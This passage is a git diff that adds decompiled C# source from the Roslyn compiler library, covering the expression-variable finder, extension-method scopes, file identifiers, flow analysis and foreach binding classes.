Visit((SyntaxNode?)(object)ArrayBuilderExtensions.Pop(instance)); + } + instance.Free(); + } + + public override void VisitInvocationExpression(InvocationExpressionSyntax node) + { + if (receiverIsInvocation(node, out var nested)) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node); + node = nested; + while (receiverIsInvocation(node, out nested)) + { + ArrayBuilderExtensions.Push(instance, node); + node = nested; + } + Visit((SyntaxNode?)(object)node.Expression); + do + { + Visit((SyntaxNode?)(object)node.ArgumentList); + } + while (ArrayBuilderExtensions.TryPop(instance, ref node)); + instance.Free(); + } + else + { + Visit((SyntaxNode?)(object)node.Expression); + Visit((SyntaxNode?)(object)node.ArgumentList); + } + static bool receiverIsInvocation(InvocationExpressionSyntax invocationExpressionSyntax, out InvocationExpressionSyntax reference) + { + if (invocationExpressionSyntax.Expression is MemberAccessExpressionSyntax { Expression: InvocationExpressionSyntax expression }) + { + reference = expression; + return true; + } + reference = null; + return false; + } + } + + public override void VisitDeclarationExpression(DeclarationExpressionSyntax node) + { + BaseArgumentListSyntax argumentListSyntaxOpt = (node.Parent as ArgumentSyntax)?.Parent as BaseArgumentListSyntax; + VisitDeclarationExpressionDesignation(node, node.Designation, argumentListSyntaxOpt); + } + + private void VisitDeclarationExpressionDesignation(DeclarationExpressionSyntax node, VariableDesignationSyntax designation, BaseArgumentListSyntax argumentListSyntaxOpt) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + switch (designation.Kind()) + { + case SyntaxKind.SingleVariableDesignation: + { + TFieldOrLocalSymbol val = MakeDeclarationExpressionVariable(node, (SingleVariableDesignationSyntax)designation, argumentListSyntaxOpt, _nodeToBind); + if ((object)val != null) + { + _variablesBuilder.Add(val); + } + break; + } + case SyntaxKind.ParenthesizedVariableDesignation: + { + Enumerator enumerator = ((ParenthesizedVariableDesignationSyntax)designation).Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDesignationSyntax current = enumerator.Current; + VisitDeclarationExpressionDesignation(node, current, argumentListSyntaxOpt); + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)designation.Kind()); + case SyntaxKind.DiscardDesignation: + break; + } + } + + public override void VisitAssignmentExpression(AssignmentExpressionSyntax node) + { + if (node.IsDeconstruction()) + { + CollectVariablesFromDeconstruction(node.Left, node); + } + else + { + Visit((SyntaxNode?)(object)node.Left); + } + Visit((SyntaxNode?)(object)node.Right); + } + + public override void VisitConstructorDeclaration(ConstructorDeclarationSyntax node) + { + if (node.Initializer != null) + { + VisitNodeToBind(node.Initializer); + } + } + + private void CollectVariablesFromDeconstruction(ExpressionSyntax possibleTupleDeclaration, AssignmentExpressionSyntax deconstruction) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + switch (possibleTupleDeclaration.Kind()) + { + case SyntaxKind.TupleExpression: + { + Enumerator enumerator = ((TupleExpressionSyntax)possibleTupleDeclaration).Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + ArgumentSyntax current = enumerator.Current; + CollectVariablesFromDeconstruction(current.Expression, deconstruction); + } + break; + } + case SyntaxKind.DeclarationExpression: + { + DeclarationExpressionSyntax declarationExpressionSyntax = (DeclarationExpressionSyntax)possibleTupleDeclaration; + CollectVariablesFromDeconstruction(declarationExpressionSyntax.Designation, declarationExpressionSyntax.Type, deconstruction); + break; + } + default: + Visit((SyntaxNode?)(object)possibleTupleDeclaration); + break; + } + } + + private void CollectVariablesFromDeconstruction(VariableDesignationSyntax designation, TypeSyntax closestTypeSyntax, AssignmentExpressionSyntax deconstruction) + { + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + switch (designation.Kind()) + { + case SyntaxKind.SingleVariableDesignation: + { + SingleVariableDesignationSyntax designation2 = (SingleVariableDesignationSyntax)designation; + TFieldOrLocalSymbol val = MakeDeconstructionVariable(closestTypeSyntax, designation2, deconstruction); + if ((object)val != null) + { + _variablesBuilder.Add(val); + } + break; + } + case SyntaxKind.ParenthesizedVariableDesignation: + { + Enumerator enumerator = ((ParenthesizedVariableDesignationSyntax)designation).Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDesignationSyntax current = enumerator.Current; + CollectVariablesFromDeconstruction(current, closestTypeSyntax, deconstruction); + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)designation.Kind()); + case SyntaxKind.DiscardDesignation: + break; + } + } + + protected abstract TFieldOrLocalSymbol MakeDeclarationExpressionVariable(DeclarationExpressionSyntax node, SingleVariableDesignationSyntax designation, BaseArgumentListSyntax argumentListSyntax, SyntaxNode nodeToBind); + + protected abstract TFieldOrLocalSymbol MakeDeconstructionVariable(TypeSyntax closestTypeSyntax, SingleVariableDesignationSyntax designation, AssignmentExpressionSyntax deconstruction); + + protected ExpressionVariableFinder() + : base((SyntaxWalkerDepth)0) + { + } +} +internal class ExpressionVariableFinder : ExpressionVariableFinder +{ + private Binder _scopeBinder; + + private Binder _enclosingBinder; + + private static readonly ObjectPool s_poolInstance = CreatePool(); + + internal static void FindExpressionVariables(Binder scopeBinder, ArrayBuilder builder, CSharpSyntaxNode node, Binder enclosingBinderOpt = null) + { + if (node != null) + { + ExpressionVariableFinder expressionVariableFinder = s_poolInstance.Allocate(); + expressionVariableFinder._scopeBinder = scopeBinder; + expressionVariableFinder._enclosingBinder = enclosingBinderOpt ?? scopeBinder; + expressionVariableFinder.FindExpressionVariables(builder, node); + expressionVariableFinder._scopeBinder = null; + expressionVariableFinder._enclosingBinder = null; + s_poolInstance.Free(expressionVariableFinder); + } + } + + internal static void FindExpressionVariables(Binder binder, ArrayBuilder builder, SeparatedSyntaxList nodes) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + if (nodes.Count != 0) + { + ExpressionVariableFinder expressionVariableFinder = s_poolInstance.Allocate(); + expressionVariableFinder._scopeBinder = binder; + expressionVariableFinder._enclosingBinder = binder; + expressionVariableFinder.FindExpressionVariables(builder, nodes); + expressionVariableFinder._scopeBinder = null; + expressionVariableFinder._enclosingBinder = null; + s_poolInstance.Free(expressionVariableFinder); + } + } + + protected override LocalSymbol MakePatternVariable(TypeSyntax type, SingleVariableDesignationSyntax designation, SyntaxNode nodeToBind) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + if (designation == null) + { + return null; + } + NamedTypeSymbol containingType = _scopeBinder.ContainingType; + if ((object)containingType != null && containingType.IsScriptClass && (object)_scopeBinder.LookupDeclaredField(designation) != null) + { + return null; + } + return SourceLocalSymbol.MakeLocalSymbolWithEnclosingContext(_scopeBinder.ContainingMemberOrLambda, _scopeBinder, _enclosingBinder, type, designation.Identifier, LocalDeclarationKind.PatternVariable, nodeToBind, null); + } + + protected override LocalSymbol MakeDeclarationExpressionVariable(DeclarationExpressionSyntax node, SingleVariableDesignationSyntax designation, BaseArgumentListSyntax argumentListSyntaxOpt, SyntaxNode nodeToBind) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol containingType = _scopeBinder.ContainingType; + if ((object)containingType != null && containingType.IsScriptClass && (object)_scopeBinder.LookupDeclaredField(designation) != null) + { + return null; + } + return SourceLocalSymbol.MakeLocalSymbolWithEnclosingContext(_scopeBinder.ContainingMemberOrLambda, _scopeBinder, _enclosingBinder, node.Type, designation.Identifier, node.IsOutVarDeclaration() ? LocalDeclarationKind.OutVariable : LocalDeclarationKind.DeclarationExpressionVariable, nodeToBind, (SyntaxNode)(object)argumentListSyntaxOpt); + } + + protected override LocalSymbol MakeDeconstructionVariable(TypeSyntax closestTypeSyntax, SingleVariableDesignationSyntax designation, AssignmentExpressionSyntax deconstruction) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol containingType = _scopeBinder.ContainingType; + if ((object)containingType != null && containingType.IsScriptClass && (object)_scopeBinder.LookupDeclaredField(designation) != null) + { + return null; + } + return SourceLocalSymbol.MakeDeconstructionLocal(_scopeBinder.ContainingMemberOrLambda, _scopeBinder, _enclosingBinder, closestTypeSyntax, designation.Identifier, LocalDeclarationKind.DeconstructionVariable, (SyntaxNode)(object)deconstruction); + } + + public static ObjectPool CreatePool() + { + return new ObjectPool((Factory)(() => new ExpressionVariableFinder()), 10, true); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExtensionMethodScope.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExtensionMethodScope.cs new file mode 100644 index 0000000..f94c326 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExtensionMethodScope.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct ExtensionMethodScope(Binder binder) +{ + public readonly Binder Binder = binder; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExtensionMethodScopeEnumerator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExtensionMethodScopeEnumerator.cs new file mode 100644 index 0000000..c3c8ff1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExtensionMethodScopeEnumerator.cs @@ -0,0 +1,36 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal struct ExtensionMethodScopeEnumerator(Binder binder) +{ + private readonly Binder _binder = binder; + + private ExtensionMethodScope _current = default(ExtensionMethodScope); + + public ExtensionMethodScope Current => _current; + + public bool MoveNext() + { + if (_current.Binder == null) + { + _current = GetNextScope(_binder); + } + else + { + Binder binder = _current.Binder; + _current = GetNextScope(binder.Next); + } + return _current.Binder != null; + } + + private static ExtensionMethodScope GetNextScope(Binder binder) + { + for (Binder binder2 = binder; binder2 != null; binder2 = binder2.Next) + { + if (binder2.SupportsExtensionMethods) + { + return new ExtensionMethodScope(binder2); + } + } + return default(ExtensionMethodScope); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExtensionMethodScopes.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExtensionMethodScopes.cs new file mode 100644 index 0000000..0026f52 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExtensionMethodScopes.cs @@ -0,0 +1,11 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct ExtensionMethodScopes(Binder binder) +{ + private readonly Binder _binder = binder; + + public ExtensionMethodScopeEnumerator GetEnumerator() + { + return new ExtensionMethodScopeEnumerator(_binder); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/FileIdentifier.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/FileIdentifier.cs new file mode 100644 index 0000000..1eee959 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/FileIdentifier.cs @@ -0,0 +1,103 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Security.Cryptography; +using System.Text; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class FileIdentifier +{ + private class FileIdentifierData(string? encoderFallbackErrorMessage, string displayFilePath, ImmutableArray filePathChecksumOpt) + { + public readonly string? EncoderFallbackErrorMessage = encoderFallbackErrorMessage; + + public readonly string DisplayFilePath = displayFilePath; + + public readonly ImmutableArray FilePathChecksumOpt = filePathChecksumOpt; + } + + private static readonly Encoding s_encoding = new UTF8Encoding(encoderShouldEmitUTF8Identifier: false, throwOnInvalidBytes: true); + + private readonly string _filePath; + + private FileIdentifierData? _data; + + public string DisplayFilePath + { + get + { + EnsureInitialized(); + return _data.DisplayFilePath; + } + } + + public string? EncoderFallbackErrorMessage + { + get + { + EnsureInitialized(); + return _data.EncoderFallbackErrorMessage; + } + } + + public ImmutableArray FilePathChecksumOpt + { + get + { + EnsureInitialized(); + return _data.FilePathChecksumOpt; + } + } + + private FileIdentifier(string filePath) + { + _filePath = filePath; + } + + private FileIdentifier(ImmutableArray filePathChecksumOpt, string displayFilePath) + { + _data = new FileIdentifierData(null, displayFilePath, filePathChecksumOpt); + _filePath = string.Empty; + } + + [MemberNotNull("_data")] + private void EnsureInitialized() + { + if (_data != null) + { + return; + } + string encoderFallbackErrorMessage = null; + ImmutableArray filePathChecksumOpt = default(ImmutableArray); + try + { + byte[] bytes = s_encoding.GetBytes(_filePath); + using HashAlgorithm hashAlgorithm = SourceHashAlgorithms.CreateDefaultInstance(); + filePathChecksumOpt = ((IEnumerable)hashAlgorithm.ComputeHash(bytes)).ToImmutableArray(); + } + catch (EncoderFallbackException ex) + { + encoderFallbackErrorMessage = ex.Message; + } + string displayFilePath = GeneratedNames.GetDisplayFilePath(_filePath); + _data = new FileIdentifierData(encoderFallbackErrorMessage, displayFilePath, filePathChecksumOpt); + } + + public static FileIdentifier Create(SyntaxTree tree) + { + return Create(tree.FilePath); + } + + public static FileIdentifier Create(string filePath) + { + return new FileIdentifier(filePath); + } + + public static FileIdentifier Create(ImmutableArray filePathChecksumOpt, string displayFilePath) + { + return new FileIdentifier(filePathChecksumOpt, displayFilePath); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/FirstAmongEqualsSet.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/FirstAmongEqualsSet.cs new file mode 100644 index 0000000..50e90b1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/FirstAmongEqualsSet.cs @@ -0,0 +1,69 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Linq; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class FirstAmongEqualsSet : IEnumerable, IEnumerable +{ + private readonly HashSet _hashSet; + + private readonly Dictionary _dictionary; + + private readonly Func _canonicalComparer; + + public FirstAmongEqualsSet(IEnumerable items, IEqualityComparer equalityComparer, Func canonicalComparer) + { + _canonicalComparer = canonicalComparer; + _dictionary = new Dictionary(equalityComparer); + _hashSet = new HashSet(equalityComparer); + UnionWith(items); + } + + public void UnionWith(IEnumerable items) + { + foreach (T item in items) + { + if (!_dictionary.TryGetValue(item, out var value) || IsMoreCanonical(item, value)) + { + _dictionary[item] = item; + } + } + } + + private bool IsMoreCanonical(T newItem, T oldItem) + { + return _canonicalComparer(newItem, oldItem) > 0; + } + + public void IntersectWith(IEnumerable items) + { + _hashSet.UnionWith(items); + foreach (T item in _dictionary.Keys.ToList()) + { + if (!_hashSet.Contains(item)) + { + _dictionary.Remove(item); + } + } + foreach (T item2 in _hashSet) + { + if (_dictionary.TryGetValue(item2, out var value) && IsMoreCanonical(item2, value)) + { + _dictionary[item2] = item2; + } + } + _hashSet.Clear(); + } + + public IEnumerator GetEnumerator() + { + return _dictionary.Values.GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/FixedStatementBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/FixedStatementBinder.cs new file mode 100644 index 0000000..9fb4d45 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/FixedStatementBinder.cs @@ -0,0 +1,73 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class FixedStatementBinder : LocalScopeBinder +{ + private readonly FixedStatementSyntax _syntax; + + internal override SyntaxNode ScopeDesignator => (SyntaxNode)(object)_syntax; + + public FixedStatementBinder(Binder enclosing, FixedStatementSyntax syntax) + : base(enclosing) + { + _syntax = syntax; + } + + protected override ImmutableArray BuildLocals() + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + if (_syntax.Declaration != null) + { + ArrayBuilder val = new ArrayBuilder(_syntax.Declaration.Variables.Count); + _syntax.Declaration.Type.VisitRankSpecifiers(delegate(ArrayRankSpecifierSyntax rankSpecifier, (FixedStatementBinder binder, ArrayBuilder locals) args) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator2 = rankSpecifier.Sizes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ExpressionSyntax current2 = enumerator2.Current; + if (current2.Kind() != SyntaxKind.OmittedArraySizeExpression) + { + ExpressionVariableFinder.FindExpressionVariables(args.binder, args.locals, current2, null); + } + } + }, (this, val)); + Enumerator enumerator = _syntax.Declaration.Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDeclaratorSyntax current = enumerator.Current; + val.Add((LocalSymbol)MakeLocal(_syntax.Declaration, current, LocalDeclarationKind.FixedVariable, allowScoped: false)); + ExpressionVariableFinder.FindExpressionVariables(this, val, current, null); + } + return val.ToImmutable(); + } + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + if ((object)_syntax == scopeDesignator) + { + return Locals; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/FixedStatementBinder.cs", 67); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/FixedStatementBinder.cs", 72); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/FlowAnalysisPass.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/FlowAnalysisPass.cs new file mode 100644 index 0000000..1337445 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/FlowAnalysisPass.cs @@ -0,0 +1,111 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class FlowAnalysisPass +{ + public static BoundBlock Rewrite(MethodSymbol method, BoundBlock block, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics, bool hasTrailingExpression, bool originalBodyNested) + { + CSharpCompilation declaringCompilation = method.DeclaringCompilation; + bool needsImplicitReturn2; + ImmutableArray implicitlyInitializedFieldsOpt2; + if (method.ReturnsVoid || method.IsIterator || method.IsAsyncEffectivelyReturningTask(declaringCompilation)) + { + ImmutableArray implicitlyInitializedFieldsOpt = default(ImmutableArray); + bool needsImplicitReturn = true; + if ((method.IsImplicitlyDeclared && !method.IsScriptInitializer) || Analyze(declaringCompilation, method, block, ((BindingDiagnosticBag)diagnostics).DiagnosticBag, out needsImplicitReturn, out implicitlyInitializedFieldsOpt)) + { + if (!implicitlyInitializedFieldsOpt.IsDefault) + { + block = PrependImplicitInitializations(block, method, implicitlyInitializedFieldsOpt, compilationState, diagnostics); + } + if (needsImplicitReturn) + { + block = AppendImplicitReturn(block, method, originalBodyNested); + } + } + } + else if (Analyze(declaringCompilation, method, block, ((BindingDiagnosticBag)diagnostics).DiagnosticBag, out needsImplicitReturn2, out implicitlyInitializedFieldsOpt2)) + { + TypeSymbol typeSymbol = (method as SynthesizedInteractiveInitializerMethod)?.ResultType; + if (!hasTrailingExpression && (object)typeSymbol != null) + { + BoundDefaultExpression boundDefaultExpression = new BoundDefaultExpression((SyntaxNode)(object)method.GetNonNullSyntaxNode(), typeSymbol); + ImmutableArray statements = block.Statements.Add(new BoundReturnStatement(boundDefaultExpression.Syntax, (RefKind)0, boundDefaultExpression, @checked: false)); + block = new BoundBlock(block.Syntax, ImmutableArray.Empty, statements) + { + WasCompilerGenerated = true + }; + } + else if (method.Locations.Length == 1) + { + diagnostics.Add(ErrorCode.ERR_ReturnExpected, method.GetFirstLocation(), method); + } + } + return block; + } + + private static BoundBlock PrependImplicitInitializations(BoundBlock body, MethodSymbol method, ImmutableArray implicitlyInitializedFields, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol containingType = method.ContainingType; + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(method, body.Syntax, compilationState, diagnostics); + ArrayBuilder instance = ArrayBuilder.GetInstance(implicitlyInitializedFields.Length); + if (containingType.HasInlineArrayAttribute(out var length) && length > 1 && (object)containingType.TryGetPossiblyUnsupportedByLanguageInlineArrayElementField() != null) + { + instance.Add((BoundStatement)syntheticBoundNodeFactory.ExpressionStatement(syntheticBoundNodeFactory.AssignmentExpression(syntheticBoundNodeFactory.This(), syntheticBoundNodeFactory.Default(containingType)))); + } + else + { + ImmutableArray.Enumerator enumerator = implicitlyInitializedFields.GetEnumerator(); + while (enumerator.MoveNext()) + { + FieldSymbol current = enumerator.Current; + if ((int)current.RefKind == 0) + { + instance.Add((BoundStatement)syntheticBoundNodeFactory.ExpressionStatement(syntheticBoundNodeFactory.AssignmentExpression(syntheticBoundNodeFactory.Field(syntheticBoundNodeFactory.This(), current), syntheticBoundNodeFactory.Default(current.Type)))); + } + else + { + instance.Add((BoundStatement)syntheticBoundNodeFactory.ExpressionStatement(syntheticBoundNodeFactory.AssignmentExpression(syntheticBoundNodeFactory.Field(syntheticBoundNodeFactory.This(), current), syntheticBoundNodeFactory.NullRef(current.TypeWithAnnotations), isRef: true))); + } + } + } + BoundStatement item = syntheticBoundNodeFactory.HiddenSequencePoint(syntheticBoundNodeFactory.Block(instance.ToImmutableAndFree())); + return body.Update(body.Locals, body.LocalFunctions, body.HasUnsafeModifier, body.Instrumentation, body.Statements.Insert(0, item)); + } + + private static BoundBlock AppendImplicitReturn(BoundBlock body, MethodSymbol method, bool originalBodyNested) + { + if (originalBodyNested) + { + ImmutableArray statements = body.Statements; + int length = statements.Length; + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + instance.AddRange(statements, length - 1); + instance.Add((BoundStatement)AppendImplicitReturn((BoundBlock)statements[length - 1], method)); + return body.Update(body.Locals, ImmutableArray.Empty, body.HasUnsafeModifier, body.Instrumentation, instance.ToImmutableAndFree()); + } + return AppendImplicitReturn(body, method); + } + + internal static BoundBlock AppendImplicitReturn(BoundBlock body, MethodSymbol method) + { + SyntaxNode syntax = body.Syntax; + BoundStatement item = ((method.IsIterator && !method.IsAsync) ? ((BoundStatement)BoundYieldBreakStatement.Synthesized(syntax)) : ((BoundStatement)BoundReturnStatement.Synthesized(syntax, (RefKind)0, null))); + return body.Update(body.Locals, body.LocalFunctions, body.HasUnsafeModifier, body.Instrumentation, body.Statements.Add(item)); + } + + private static bool Analyze(CSharpCompilation compilation, MethodSymbol method, BoundBlock block, DiagnosticBag diagnostics, out bool needsImplicitReturn, out ImmutableArray implicitlyInitializedFieldsOpt) + { + needsImplicitReturn = ControlFlowPass.Analyze(compilation, method, block, diagnostics); + DefiniteAssignmentPass.Analyze(compilation, method, block, diagnostics, out implicitlyInitializedFieldsOpt, requireOutParamsAssigned: true); + if (!needsImplicitReturn) + { + return !implicitlyInitializedFieldsOpt.IsDefault; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ForEachEnumeratorInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ForEachEnumeratorInfo.cs new file mode 100644 index 0000000..5437604 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ForEachEnumeratorInfo.cs @@ -0,0 +1,107 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ForEachEnumeratorInfo +{ + internal struct Builder + { + public TypeSymbol CollectionType; + + public bool ViaExtensionMethod; + + public WellKnownType InlineArraySpanType; + + public bool InlineArrayUsedAsValue; + + public TypeWithAnnotations ElementTypeWithAnnotations; + + public MethodArgumentInfo? GetEnumeratorInfo; + + public MethodSymbol CurrentPropertyGetter; + + public MethodArgumentInfo? MoveNextInfo; + + public bool IsAsync; + + public bool NeedsDisposal; + + public BoundAwaitableInfo? DisposeAwaitableInfo; + + public MethodArgumentInfo? PatternDisposeInfo; + + public BoundValuePlaceholder? CurrentPlaceholder; + + public BoundExpression? CurrentConversion; + + public TypeSymbol ElementType => ElementTypeWithAnnotations.Type; + + public bool IsIncomplete + { + get + { + if ((object)GetEnumeratorInfo != null && (object)MoveNextInfo != null) + { + return (object)CurrentPropertyGetter == null; + } + return true; + } + } + + public ForEachEnumeratorInfo Build(BinderFlags location) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return new ForEachEnumeratorInfo(CollectionType, InlineArraySpanType, InlineArrayUsedAsValue, ElementTypeWithAnnotations, GetEnumeratorInfo, CurrentPropertyGetter, MoveNextInfo, IsAsync, NeedsDisposal, DisposeAwaitableInfo, PatternDisposeInfo, CurrentPlaceholder, CurrentConversion, location); + } + } + + public readonly TypeSymbol CollectionType; + + public readonly WellKnownType InlineArraySpanType; + + public readonly bool InlineArrayUsedAsValue; + + public readonly TypeWithAnnotations ElementTypeWithAnnotations; + + public readonly MethodArgumentInfo GetEnumeratorInfo; + + public readonly MethodSymbol CurrentPropertyGetter; + + public readonly MethodArgumentInfo MoveNextInfo; + + public readonly bool NeedsDisposal; + + public readonly bool IsAsync; + + public readonly BoundAwaitableInfo? DisposeAwaitableInfo; + + public readonly MethodArgumentInfo? PatternDisposeInfo; + + public readonly BoundValuePlaceholder? CurrentPlaceholder; + + public readonly BoundExpression? CurrentConversion; + + public readonly BinderFlags Location; + + public TypeSymbol ElementType => ElementTypeWithAnnotations.Type; + + private ForEachEnumeratorInfo(TypeSymbol collectionType, WellKnownType inlineArraySpanType, bool inlineArrayUsedAsValue, TypeWithAnnotations elementType, MethodArgumentInfo getEnumeratorInfo, MethodSymbol currentPropertyGetter, MethodArgumentInfo moveNextInfo, bool isAsync, bool needsDisposal, BoundAwaitableInfo? disposeAwaitableInfo, MethodArgumentInfo? patternDisposeInfo, BoundValuePlaceholder? currentPlaceholder, BoundExpression? currentConversion, BinderFlags location) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + CollectionType = collectionType; + InlineArraySpanType = inlineArraySpanType; + InlineArrayUsedAsValue = inlineArrayUsedAsValue; + ElementTypeWithAnnotations = elementType; + GetEnumeratorInfo = getEnumeratorInfo; + CurrentPropertyGetter = currentPropertyGetter; + MoveNextInfo = moveNextInfo; + IsAsync = isAsync; + NeedsDisposal = needsDisposal; + DisposeAwaitableInfo = disposeAwaitableInfo; + PatternDisposeInfo = patternDisposeInfo; + CurrentPlaceholder = currentPlaceholder; + CurrentConversion = currentConversion; + Location = location; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ForEachLoopBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ForEachLoopBinder.cs new file mode 100644 index 0000000..61e5a0e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ForEachLoopBinder.cs @@ -0,0 +1,437 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ForEachLoopBinder : LoopBinder +{ + private readonly CommonForEachStatementSyntax _syntax; + + private SourceLocalSymbol IterationVariable + { + get + { + if (_syntax.Kind() != SyntaxKind.ForEachStatement) + { + return null; + } + return (SourceLocalSymbol)Locals[0]; + } + } + + private bool IsAsync => _syntax.AwaitKeyword != default(SyntaxToken); + + internal override SyntaxNode ScopeDesignator => (SyntaxNode)(object)_syntax; + + public ForEachLoopBinder(Binder enclosing, CommonForEachStatementSyntax syntax) + : base(enclosing) + { + _syntax = syntax; + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + if ((object)_syntax == scopeDesignator) 